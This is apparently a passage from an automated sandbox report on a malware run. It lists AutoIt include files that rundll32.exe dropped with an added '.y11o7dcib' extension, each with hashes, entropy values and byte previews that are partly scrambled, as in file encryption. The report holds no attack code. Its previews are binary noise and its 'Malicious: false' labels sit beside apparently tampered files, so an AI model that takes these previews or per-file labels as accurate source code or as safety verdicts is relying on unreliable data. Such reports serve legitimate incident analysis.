Preview:	^l@.n.......<.k.........dD........-.g....>..c#.{.m.^Y.AK../.w 5 -w 6 -w- 7..;~ #au3check -q -d -w 1 -w 2 -w 3 -w- 4 -w 5 -w 6 -w- 7..#Region includes..#include <EditConstants.au3>..#includ...*T........-.q...KCa...uI....U.Z..bAp.I.K{.G`p.:').`s._...z.e <AutoItConstants.au3>..#include <WinAPI.au3>..#include <Array.au3>..#include <ScreenCapture.au3>..#include "CUIAutomation2.au3_ ?ND(.......y.Z.....a...~Q....F.@..hE-.I._c..wl.t!s..V.Y...i.ekes/Home/windows-programming/dotnet-registering-an-object-to-the-running-object-table-from-a-non-com-project..;~ TODO gethistog.LXMn .......8.>..........d@....V..-iV.g._j.yfl.> n.;..C...`.IElement, $UIA_BoundingRectanglePropertyId)..;~ .local $name=_UIA_getPropertyValue($oUIElement, $UIA_NamePropertyId)..;~ .local YY.P!........5.@..........:....d.....iV.g.\|}.^Ff./z>.6H..W../.t[3] + $t[1], $t[2], $t[4] + $t[2])..;~ ._ScreenCapture_Capture($name, $t[1], $t[2], $t[3] + $t[1], $t[4] + $t[2])..;~ ; Find a .XG.!!......!.X...X1.....2D.......dN

C:\Program Files (x86)\autoit3\Include\UpDownConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	7.422761594005271
Encrypted:	false
SSDEEP:	24:8fDxcttDwT0okz5HJlStDxcttDxFKDxcttDxc+Vr4NjpAlBLixctt+I8btHQmS:oDxcttD48HJYtDxcttDxFKDxcttDxc+r
MD5:	BD59DE330E872EF0EBD44CF2D18DC73A
SHA1:	FB7A9D521BE82B368B0D9811EF3BD88C6CB07A88
SHA-256:	94958C12B8E13B3A7B6F4444245A5BCFDD263A3176CE9535151D19337883EEB0
SHA-512:	8744E91075D362FFB0E81070CC0C0543F459A8C716658992252CA6823E3F1BBF73560416BA7D74666A0F8A8177A914A47CC7CA949E49EB6FFD6B3F9D0D966900
Malicious:	false
Preview:	...%......'......._..w...z#.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.r.o....5f.....f..n../..\|.q. .N.R{.v..&.G...n\|Y.N.#.....Us.....4.Q.Y3n..8m..M..h..n..!..}.a...I\|+4.\..H..Y..u}0.@.\|..D..,........1W1..vD.....$.\n..b..H.i....6tF.{.._..E..jW....5.....If.....a...7Qu..+f.C..<.A4......s...SYR&.6.B..F...vz{.N.'..."..:....+.u.t.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.Y3X.y ..b....{...2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.T......$.\M..c..Y.&...R..+.\.3\|.=y..:#h.^.w.....(.....v._..}....W..h....{`..?...4.u.M.Cn.8..E....^@O.".....#.!i...5.K.^~9..8o.C..<.....P..q.H.:.uQ./.`.\..q#..uqq.N.)...D. ......J.4..ju.i{.....B.C/..c..W.u._.t5rP.W.6..\...' .d.*.....6&.....P.,..v....P..h.u..8..7..2..._.N.U}.t..N..\..:`d...5.....(.....v._..l....\..j....p...@.

C:\Program Files (x86)\autoit3\Include\Visa.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40287
Entropy (8bit):	6.472686292349656
Encrypted:	false
SSDEEP:	768:5GNFfLi46ne8lXnLcg+KpcMwhxWeWUY1NjPCULh:5GriJnLcpjhEeW3tt
MD5:	A7D27F5713734C893050E54B403708A4
SHA1:	04BF38A1B2ED8EC76E29FFC5024E2C700C83F5A7
SHA-256:	6037D802A7B88AD5FA95E71D0E28807DF7E2285F007EFD9B17D2011D90546E85
SHA-512:	82D1B250902129A56D5FC5FC0AE8B083C0926E5802C907E9F0C0D5ABE49FDE0DA03E900E9F2C5DFE716E7F0945FDCCCB8BA11B7256B1C3507B56257CB8DC1361
Malicious:	false
Preview:	R....t.e..!.[.....}...}..ev.A-..4E.V.lA#,J.=..y.2..._O...U=.====================================================================================================================..; Title .._O.A./.:....]\.....U..6..?;zk...s....^8aFy..Q....uB.x5$f..R .nglish..; Description ...: VISA (GPIB & TCP) library for AutoIt...; Functions that allow controlling instrument.A...f. ....P=....0...s..vt4k...}....P)L?+N.Q....\|B.7oe:..Hs.ectrum analyzers, power supplies, etc)..; that have a GPIB or Ethernet port through the VISA interface..; QA.O.!. ..L.......=L...s..$=u'..)N..B.lEAH..q....`...;$f..F:.Angel Ezquerra..; Dll ...........: visa32.dll..; ===============================================================================L\.R.<.=..Q..l.....C!...n..ki)v...`....M4Qq......~.)..{6'e..E-.--------------------------------------------------------------------..;..; visa32.dll is in {WINDOWS}\system32).{Z.O.!. ..L..q.....n......5;y&U.>J.L

C:\Program Files (x86)\autoit3\Include\WinAPI.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	7.579930957417193
Encrypted:	false
SSDEEP:	48:eJi7GAacsbpyiJa4SCQsXJ9F2hypywyUpyIIVBNS:sJAacwpSCQsL2q47S
MD5:	66B0B6D27DDF9C07E3CCED7CBCDC4080
SHA1:	0910C25BB9C4F1F865C47E6CBF81B264B3417664
SHA-256:	5A7B3E2892C3143E167C390000CA85973ECF77E838FFAD3258EBC1E58045FFCE
SHA-512:	B6EB3A61285EBFDA65A5D3733BEA876E1AD73F6D2E17794D6A02270397AF5B040E5E981197E0395AE613126264D8461013236286D6CD5F2D91C57C6C5BAD90D7
Malicious:	false
Preview:	n.0..h.r;J...g.K..d..yC......4.......qdO:c..o....Bj.'2..V..Q.".-..s.d8D..g.ea..f..=......../.......+v.h4.?A`...Tb.cu.s..].4.?..?..5L.....#(.o..xU......s.l.F...ib.>6.f.{...bi.0#..d..U.~.Sy.t.tzP..H.2z..~..^I.......n...G...ly.7c.PB+...`V..8.d..@.c.+@...4.K.....f..d...^I.....M.B.....arAyA.[#Y.6.F(.6d...@.Z.!.:..?.~xd.....)z..............`.6.....C~.>e.T.:....o. ;.uC.c.#..:.y.9wP...`./f.....?q.......".O......4.5u.@.l.P.Hh.........8.\|~.>.yuI...J..a..Z.p......).......'@.5W.\|/`...@s.aZ..y..X.).~Q.t.VFl.....'}.....sE......). .,...+v.h4.?A`...Tb.cu..~".}.%.2..e.vc....I.(k..n...JO.......n...G....,Ax_.q'Q.R..;.~j..-^...p.cN. .+....W.{5..7... ......}.\.X...8\f+.._4.O..;.~j..-^...p.cN. .+....W.{5..7... ......}.\.X...8lQ-.a.}....(.my..>M...$.:..n.VFl...J.3\|..~...oU.......n.O.S....,A.s.V.`...Nh.my..04.Z.".-S.M.7uD...J..i..b..=D...............qxA.c.Z+}...Oe.8.0K.[.m.0S.J.yWu...C.K...K..rT......n.[.5...%T.6f.P.e.Z.@s.....0..R.".*_.N.vy......'$.x..o......$.M.5...

C:\Program Files (x86)\autoit3\Include\WinAPICom.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9788
Entropy (8bit):	6.171402397649584
Encrypted:	false
SSDEEP:	96:pLECz5N2A4RkWHin/WOyjbh5LFW4QPUIjBS6m4j8c0RGj0Cd/VlqqPuqT+OS:jKhrHiORx/Ral0kN8qGqTPS
MD5:	E4C1309593FF62233806C844BACAA2D9
SHA1:	50DD31920F3E46B1FD486DDD69440229AF52C130
SHA-256:	97C15D79947E42CA0413FD07A77D601734EC8607B793D135E89C5F89F8115CDE
SHA-512:	70528F87F79258BBB909BCFDB794E25CC1E257C40930E5896576366FA4AD17280917BE97015AF050C17C0F3EF77B06882C487E2FFF7DCA8F7570C8489F6E9651
Malicious:	false
Preview:	.b\|.......G..p.+....L...z<..?lS/...,.....P....$E.....Ou...IInternals.au3"....; #INDEX# ===================================================================================================.6/.A...BY...@#5...pMN}...OUy.\|..o...x..8.23o&J.9N.....:.....rary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPICo.%s.O...>.P..Um!...TX@...Y.>.6..+..H..l.N^.;2.p...]&.Rj....=========================================================================================================....#Region Global Vari.i~....._'K...p\|...w\|U...x<...job......l.N^.;2.p...]&.Rj....========================================================================================..; ====================================.6/.A...BY...@#5...GKS....Hj.o..\|......l.N^.;2.p...]&.Rj....===========================....; #CONSTANTS# ===================================================================================.6/.A...BY...@#5...GKS....Hj._%{-....

C:\Program Files (x86)\autoit3\Include\WinAPIConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5772
Entropy (8bit):	6.828213366002933
Encrypted:	false
SSDEEP:	96:BRbaG7hkPwGwwBOCEi4qgKyZc0/fDwjupPM4xlcBS:L1FkPwGhjuxM4xlcBS
MD5:	0DE2018B5AD2E93B1EDA0F950AB80548
SHA1:	F3F2BA10B4248A8DA36B84F92CA5ADC6936254D5
SHA-256:	838CD13FBFFDE76DEF874D0A1432CA77345009689E4BCB8CFCD3494C0B02FD16
SHA-512:	F007AB92FA20D5E29A9E13F3333F7FFD3AC47A9181CCA091970A169D0C1BD480984C90F743604CF1A179A84A9669432232B3529770338CDCF50956129E2CF73C
Malicious:	false
Preview:	..'....Kc.........%.ip.s..!.....qj....LL.......o..22d.An...i4u==================================================================================..; Title .........: API Constants UDF Library..&...Z!..s..0.Lq.iJ.`.WrT.....y..._@.......'..j/w.R}...tL&glish..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ======================.Vt.....s...C..-..8.......<.....qj....LL.......o..22d.An...i4u=========================================....; #CONSTANTS# =====================================================================.Vt.....s...C..-..8.......<.....qj....LL......X..`m8.\..[. )lHGDI_ERROR = Ptr(-1)..Global Const $INVALID_HANDLE_VALUE = Ptr(-1)..Global Const $CLR_INVALID = -1....; Stock Object Constants...K ....@....1...4...].X.@sN...Z5'..........&.BM.....z..F.ED = 0x01..Global Const $MB_COMPOSITE = 0x02..Global Const $MB_USEGLYPHCHARS = 0x04....; translucency flags..Global Const $ULW_At;.....6...t...Xi.cQ.E..%h...a.....Q

C:\Program Files (x86)\autoit3\Include\WinAPIConv.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29874
Entropy (8bit):	6.117345156144728
Encrypted:	false
SSDEEP:	384:8MD6LDmj7uplJhQElSK2kWzxCYSTlrlH/fbjMV0/dCcUl7kArmEyWKS3lQoV27Nc:GPlk3SRZHHkaD8qqQoAJfnlW
MD5:	7F2C43DC56CC72C201BB74D7CD573CA1
SHA1:	4CC6235D99764BFF829B18BB9AD014A41B7AC9CC
SHA-256:	1F635DE1E354B9A9FDB26CFA22754174C54214F7FFF81960C454947035644778
SHA-512:	C8D965129556F6B8717886C64A872E13F69BCEA8E2CC74D6CEE096269DC9628992C1CC99A44044817BFE55B6BA3E2DD6B207214658B24891C54CBA40CA2A7EAE
Malicious:	false
Preview:	.......C.....<..s.#(..g..B...V.v......Pr..F.S,.........S.P.Jh..tureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================================........Z._...mIpv.B>..].J...,.,Y@F.;Z...]3+...}..<.R.Wn.. .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, const......B.....E...#T+$._w..@...~.X....S.K5j...!{b..h......\..:*.shied, jpm..; ==================================================================================================================........Z._<..s&(,..m.....S.G..x...[uG.I.@My..!...<.x..9%.RIABLES# ===================================================================================================================..; ........Z._...mIpv.B>..].J...,.,Y@F.;Z...]3+...}....O..'N.===============================================================....; #CONSTANTS# ===============================================........Z._...mIpv.B>..].J...,.,Y@F.

C:\Program Files (x86)\autoit3\Include\WinAPIDiag.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33196
Entropy (8bit):	6.815106725103952
Encrypted:	false
SSDEEP:	384:Aqm8owE5egQ82Jyn0YGsxu79V6LPcZH6I8kn4LTSHSzRDJJAV2raM7Ld4nJy+S:c5PccxumL4n4LT3zRDJQSZvynJyN
MD5:	F78247855E47DF8F468DE05F1ABE6C80
SHA1:	3BBDF774E8169A2F7FE3D18354ABA46457B8338B
SHA-256:	C38D1E810C6F342FC9B39BFBC10E0C4C92502B3E0907317B4CC481E576DFC03F
SHA-512:	9F9F36773E9E8C3CC019FA1EB2C41939089174E9322B46DF0A00D6C25325E80A8C550FBC6C542CD8359064A213FA9CCC7D05C8083C9F5A358CEDA03753D19735
Malicious:	false
Preview:	?..`...\.]......C.p?....n......0d.wW......v\|........c/nn....+ngConstants.au3"..#include "WinAPIFiles.au3"..#include "WinAPIHObj.au3"..#include "WinAPIMem.au3"..#include "WinAPIProc.au3"..#ir..v....[....A.:.x$.U.i(..<.<.<%..qW0.2...{L.....A..,3dh....F`WinAPITheme.au3"....; #INDEX# ==================================================================================================!.^>...........t.$l.z.X+..+.,.w+..6._.U...yH.R.Z...k?n+...+brary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIDu..-..4.....{.;.jx.Y.M%....(.1l.4........4..O..^..2g76...[.===========================================================================================================....#Region Global Van..a.....\....}.=.w%.z.n...\|....D.]jR.F...*4..O..^..2g76...[.==========================================================================================..Global $__g_hFRDlg = 0, $__g_hFRDll !.S.............t.$l.J.^6..b.t.d8..%.L.F

C:\Program Files (x86)\autoit3\Include\WinAPIDlg.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	39300
Entropy (8bit):	6.622331534858584
Encrypted:	false
SSDEEP:	384:Slyl4aYftO5sBI99qcT59YlS0D5d9I0TJaoIJmkSCPa5O+a1yXgdiAvDdqxB7ZVm:DaElUzOyyi+dCxBVIpyaU2EapU2AA
MD5:	E112FDE45E8575B69B5EF416160DA934
SHA1:	ABBF8769E665E3F747DA9875F4EB6A5B85E97538
SHA-256:	D7E87B17AAE64C81D6A4257F37E3712575C688BFA0F215986BFDE37A4CD10F07
SHA-512:	02EAF89E45EB10F5D66BED96334222D50173D401B936E610FB8C8D023040FC1FC274B554A66768F6EB09F3831B3A57035CE0E0A0A787701B954B59B1DC1113F2
Malicious:	false
Preview:	%.......)S.b..z....,.N....HJ,....<.\|`.1LY.._.....e.%..q>L......gConstants.au3"..#include "StructureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConstants.au3"..#include "WinAPIInr....CeI.#..S..V.7.G..E.J,....Q.g .](..R]...i.d."..T.d..&..."..#include "WinAPIShellEx.au3"..#include "WinAPIShPath.au3"....; #INDEX# ======================================================;L.....P9..<..M.....[.....W6A....B./..m.....P..1.{.v..9g...x....=..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variabj.......wH.o.P..Q.$.L...C.x\......w3.9Ll.uz...m.u.A..E/]..7.........: Yashied, jpm..; =========================================================================================================;L.....P9..<..M.....[....&IY....._.~\|.1N..]L...`.5...$.F..1.......; #VARIABLES# ==============================================================================================================;L.....hS.`..T..R.2 p...J.y\..._.ML..K

C:\Program Files (x86)\autoit3\Include\WinAPIError.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12321
Entropy (8bit):	6.347606904910501
Encrypted:	false
SSDEEP:	192:G9v+XEp0qPnHFFrqBbdVM/rx3GdMDyPWazgyvGJ8PlS7jS4aIj3gnYqYS:GB+XEp0wHFOzMz92MaWIgylPrkEf
MD5:	3FD22C657D31A478B77A7D48B6EFFC30
SHA1:	0BF3FC2B847449EFA9DC95A1C4E3704776588BDF
SHA-256:	C23619A1E5A6EA0FE9BED3E4DE59A569DCFD5434AD48278B94957368051FDF09
SHA-512:	38C4D2B8FF361D2048022B709D6D0464B64075B1E5FFB34F5C90CC6CD620E0C30B04A255BF497DA3272DABE0D1C51471D7693CD136F839C5091DAEAD933274E3
Malicious:	false
Preview:	s!....X......t.Q.}lH/..f./..5.....!...iFhd6^.+.cY...D,....gConstants.au3"....; #INDEX# ===================================================================================================mu..........6.D......k.R0,9..t..DFn~O..fW41Ht..".L...T....,ersion : 3.3.16.1..; Description ...: Windows API calls that have been translated to AutoIt functions...; Author(s) .....: Paul .)...Q...g.8.2.>DQ'..jnr..t..PH+!...d.ih_8.Oa;f....[B...G=====================================================================================================================....#Regionp..........i....Y.z ~$.H0!2..W...JK..!..I}...t..V={....[B...G====================================================================================================....; FormatMessage Constant#E...\...x.Y..w.SAi..~.........))..0..Nu...i.r.0v....VO...obal Const $FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200..Global Const $FORMAT_MESSAGE_FROM_STRING = 0x00000400..Global Const $FOR.....n.....Y.4..u.ZUq...dp$..j..ZeJ.

C:\Program Files (x86)\autoit3\Include\WinAPIEx.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1921
Entropy (8bit):	7.615991751662597
Encrypted:	false
SSDEEP:	24:QWVsERxMSu87t2SyN/1/bRubZhZSqRYTIlaVj9cVaOWlZaubRuDubRuo+ubRucDO:pWLSl7t2SyNgZRPlaVj9FncFYzS
MD5:	4FA7F02F0FBD81D4C2324B6EA44ACAF7
SHA1:	DDC2CFFDC833626A74CE3CA2BAFD56230390720D
SHA-256:	A44D7E428FA1C18D110DA1075CB486EB92B25C9B437B05B70FFD64E352840CE2
SHA-512:	44E46D614364EFAE36FD6BF76AA99622988F3AD6BE659D8781A9FBCC7AAC1120FA284317B51AD85CE868D76A006633042972DEC4509211F96F15225C9C653838
Malicious:	false
Preview:	O.........3....1..N...4C$./.&..%.......UW..\|..E..u....9..........R..2..4.{.0}...0.(43.EEUE..........Uu..\.m.s....t.9..........}..?.e.s.B....8.e93..h}1...............;.d.~..Q....9..%3.........u..u.g....?"V....&,H...........NP..:.c.S..x..6.2..H....._..3..A.\|.!d...2Mg u.jB\|...........zd..j.i.s....t.9..........}..3..w.!.\|'.2.s1#.E.6./2........6>..v.f.v.....9..........I...\..x.~..H..8.G.....>..L........XX..}.(.{..d....y.._Y.....P...v....S.8y...4Mg u.jBRlUB............%.7./....j.j..QF.......k..+./.L....l^;h{.Zub[S_............%.7./....j.j..QF.......k..+./.L....l^;h{.Zub[So............6.$.<.c...........i.....d.`.QK.....r:..TEU]N#.........H]..8..<...f.].. .........x..,.W..A...\i=u...+-.........zP..l.e.s..B..>.5...W......]..v.r.t..N...?.&3).G.6./2.........TF..1.$.<....6.?...v....U..2..8.<._..<C..6..<+..N.........ZX..v.f.v..X..3.#.........O.0..u.{..^...jC&uf.Gh.FNB........VU..6.f.>..P..e.3..@[......O...:..].`..A...5.jyf..,3.@...

C:\Program Files (x86)\autoit3\Include\WinAPIFiles.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	95840
Entropy (8bit):	6.4295289123720485
Encrypted:	false
SSDEEP:	768:ZNCyJ7IsmqrT0I0reSzwnLao1in577wBh1sIY27gp1U4FzHsJkdTS7g0BlNWBFBM:mgZfwdoU7eU4qi4ZEsSoc2G3
MD5:	1DCABB56BF7648486C363262A7E51989
SHA1:	EF590A2FC37B5CDAB93424E50277BA796694C943
SHA-256:	83BCE1139B6533B2BA279DB6CDF20BF786C392653E7F211EE1CE0902B266BE9D
SHA-512:	949A5A7084F4850203A5B47DE0FBB7132D73B51FAFCA7D5C5C3F01E6009D64DE87E246BBBE0370BE5CF24B25CE6E124FD5760A7E13FBEF66795711BF25CF2CDA
Malicious:	false
Preview:	...j;..3^...L..;...,..V.....Y.5.....<;A....Uu.n.h.+.r.^.....eConstants.au3"..#include "MemoryConstants.au3" ; For $PAGE_ constants..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..X.g4..{..=./K.x...!...&Wt..\|.,.....&......Ch...i.OSw.Y.....ZWinAPIShPath.au3"....; #INDEX# =================================================================================================0F]4jE..#..W.\|7.....}b....>..z.w.Z....ft.G...a..C.3. .z.^....4ibrary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIK..l$V.-<.Q....Y...iO...sy..F......"*Bj...{.^.v.xM#L....Q.E=============================================================================================================....#Region Global [..`6..m....aI._...4..9&Wl..I...5...kz.Z..{.^.v.xM#L....Q.E============================================================================================..Global $__g_iHeapSize = 8388608..;-F]4jE..#..W.\|7.....}R...`j..".d.I....u

C:\Program Files (x86)\autoit3\Include\WinAPIGdi.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	204395
Entropy (8bit):	6.487017669334496
Encrypted:	false
SSDEEP:	1536:XK+/MNKfVPwAgqpMXcy9iYsRC8+89X6II6cTScCsHefO36h/+B3gdJ9:XK+kNKf7oF4+8ZPYCsHefOKRI3gdP
MD5:	D5CF433E26B77F16FA59826814D8B031
SHA1:	00667C0CCB91D5593F3290682CC5F970B8C5FFFF
SHA-256:	7933D894BA92CB1371240BB0EB81A3481A1FD2DA1FC75A75B218965634AD967E
SHA-512:	F70B258F5D44D85237D95722F6ACBB67516CCC9EA614370D52D92AE27BACB3FB9DE338CAC97EB147772C0FE5161D96BBDF24B48A2F4419CBFA4E714060301F49
Malicious:	false
Preview:	....1?...}.....i.z....,..t......L.}Ue..Y......A.....q...W...tureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..#include "WinAPIGdiDC.au3"..I..>&...2T...4Q.....-..:......-...x.._M...%........7...include "WinAPIIcons.au3"..#include "WinAPIInternals.au3"..#include "WinAPIMisc.au3"....; #INDEX# ==============================.W.P`w.../K....Y%d....d.i......2...,........v....C(...9...=========================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Descriptio.J.Csp...v.....ty....8..1.....{.}Rb...N....."......g...a..APIGdi.au3..; Author(s) .....: Yashied, jpm..; =================================================================================.W.P`w.../K....Y%d....d.i......2...,........F.....z..h... Variables and Constants....; #CONSTANTS# ======================================================================================.W.P`w.../K....Y%d....d.i.....`.rJ1..

C:\Program Files (x86)\autoit3\Include\WinAPIGdiDC.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	20275
Entropy (8bit):	6.137312100068279
Encrypted:	false
SSDEEP:	384:XPH0apcK4DbwrmtltQRSpoX7yemaMtxeda9qHZSO+wUNEspINjov2uvJAKSl3ly:Xv0Mc1F+oaJH45msAvVy
MD5:	07A2583E4C4E140C74C30B0AD9E4DB90
SHA1:	E32FF0A5976C7DE6DFCC9B1953F613C1D9E8B640
SHA-256:	E4E93B269FF567BEF113CE6D861943900F68204A3BE44DBC1DF994ACB4780DA9
SHA-512:	8A97DD3A5AB0F1AB1C97BE8343842A14942E946F0EB93EBE70189EA302776D4DD3DDB6BCF9403DB38D614C1A7A1C7CBB3723A46FC324A183DD86E789474244A5
Malicious:	false
Preview:	........7L'.}<.JG8....J6...2..".....>..C..T.=.u.d.z_..I.....onAPIInternals.au3"....; #INDEX# ================================================================================================...Z....e.y.M. }Yl...Wp%-...(..K.O...d...........8+.gT..Y...&Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAP.......k/N.Pwh4.>..C].8...f........f..O.AWu.j%S....D.....;==============================================================================================================....#Region Global.......+.%...^/."....".9..\|..*.(.........GJu.j%S....D.....;=============================================================================================..; ===============================...Z....e.y.M. }Yl...W@.+...a..V.\...w....GJu.j%S....D.....;================================....; #CONSTANTS# ==============================================================================...Z....e.y.M. }Yl...W@.+...a..V.\...@.

C:\Program Files (x86)\autoit3\Include\WinAPIGdiInternals.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29840
Entropy (8bit):	6.5809743161132594
Encrypted:	false
SSDEEP:	384:c8BbRv9TqnQVibzrTWfR9ehpy4IuPcWK+lNx24zH3bm/xStqw5lJjwcPy0JaO4cx:D9sPWGI+cWzT24fxkqQajOE
MD5:	C86D060294001ABE2271062A58EA197D
SHA1:	7E040DCF10B4A3BDFC019DB28282CAC016662681
SHA-256:	4EC2F825DF09D0228510949A420DE1345E40481CE732B4E91B5A66655F57A3C8
SHA-512:	E8C6C5E6922A4E54DF1F91A2E2BBC19E48B4CA1D49D27C2F3AD79A1B8A5CBF8A17AA292F8E67FD80DA9FA712D7EB93D581E240872A963670C4B2E0EE91DA5B8D
Malicious:	false
Preview:	E.b..:.\|..e.....5x....D....Wc.".^rihd.....D...v.6..dc@..e}'g..nAPIHobj.au3"..#include "WinAPIInternals.au3"..#include "WinAPIMem.au3"..#include "WinAPIMisc.au3"....; #INDEX# ================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S...\..>.)%.z7...-$.z..=======================================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1k.7...z...r.z...8?.\.D..V Mp.a.JreJi....S...w.zl.gk@..vl,$..ns for the WinAPIxxx.au3..; Author(s) .....: Yashied, jpm..; ===================================================================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S...\..>.)%.z7...-$.J..#Region Global Variables and Constants....; #VARIABLES# ========================================================================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S..=k..>.)%.z7...-$.z..==============================================================================================================....; #CONSTANTS# [.1..r.$...;.(...+,.AV....r.,^\|..=1.6..

C:\Program Files (x86)\autoit3\Include\WinAPIHObj.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13395
Entropy (8bit):	6.42889710184334
Encrypted:	false
SSDEEP:	384:9ZW8ZjWAQpnELSoG7utsNwQsMs8bgnKo+DYsndIF:tZDKtOMs8M+aF
MD5:	13B7BF1FB2E464265B1E09AB94C27539
SHA1:	DDE749712E719BFF4DC028B5C8F8165608BF5252
SHA-256:	F21E42E148F29BD2C95B52755431363BDF0DB97688B1405C1CC62C503625EA50
SHA-512:	278FCB25FC5954D75F0FEC6AD5D34EB63F904A459B5A252533B9C9A9B58966291D4E4DE7F6CE4ECE680B9705B36D19F22F46CAE3D76BCB0B24C82C5F2C519ABE
Malicious:	false
Preview:	.......F.......i.;...uA.....,.0.Q~....&...m.#..W.....C..Q..2..)====================================================================================================================..; Title ........E.K.......&M&...eAO........yb....5..x.Y.;P)....~..`..w.T}on : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIHObj.au3..; Author(s) .....: YashiS.......a.Q....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)../..)==========================================================================....#Region Global Variables and Constants....; #VARIAt...V.V.L....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)../..)=========================================================..; ===================================================================....V.V.L....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)....*.; #CONSTANTS# ==================================================================================================================.....P./........}3...e....?.,.m._\|....g

C:\Program Files (x86)\autoit3\Include\WinAPIIcons.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25802
Entropy (8bit):	6.571609287207766
Encrypted:	false
SSDEEP:	384:BrCb0rRL1oah0Ha3sY4g+PNLILVXYVfzZ7TCzvpWl/+ztOk+:VrdQY4R0Zc0RWl/+ztf+
MD5:	BBB31441FE742D1921901552958D666D
SHA1:	32724EE462DF7F8B25A3E21A901FA64378C86C88
SHA-256:	747991F8FBACBA32F94957B5A0678C436762EA1926F130B6EEB4F0C0D70C7A16
SHA-512:	6843D317ED24CA66742CAACB11F7ECB0D2A9AA923C8D5EA6CD0080C05D5BE3C4614B7ECC9D67E0BB26D4880B09FD4A1700056527E1EAFAB7F442E742C8E1B789
Malicious:	false
Preview:	4].z..'.......}..].Z..!.6....!.cS.......j/.Q..]..uusl...o.{Internals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIInternals.au3"....; #INDEX# =========================================..$....7........c.......>.b.....x..-.^.q.8.t{.......j.'?..../==============..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Addic].w#...k......~..P.[..p.>....+.SyB..lLjai2.W..P..kSa.....g3..; Author(s) .....: Yashied, jpm..; ==========================================================================================..$....7........c.......>.b.....x...'n.ox`t )....V.;.Lc...J.ws and Constants....; #VARIABLES# ===============================================================================================..$....7........c..3....>.b.....x..-.^.q.8.t{.......j.'?..../=======================================================================================....; #CONSTANTS# =======================..$....7........c.......>.b.....x..-.^

C:\Program Files (x86)\autoit3\Include\WinAPIInternals.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18319
Entropy (8bit):	6.48790890795053
Encrypted:	false
SSDEEP:	384:7CVuoe217SBppd/NZNNCD/NaX+gDGaHJwRrKIss1E:7h0cFZn7pSrx9E
MD5:	676986F38899DE1D51826499793149C8
SHA1:	BFC09A20C7A47BB4A776DDB3CC744A9643809E14
SHA-256:	D5607AD68771C0743183C929612E8F25FF341E097AB8906ACAA79E0BA0B57DFA
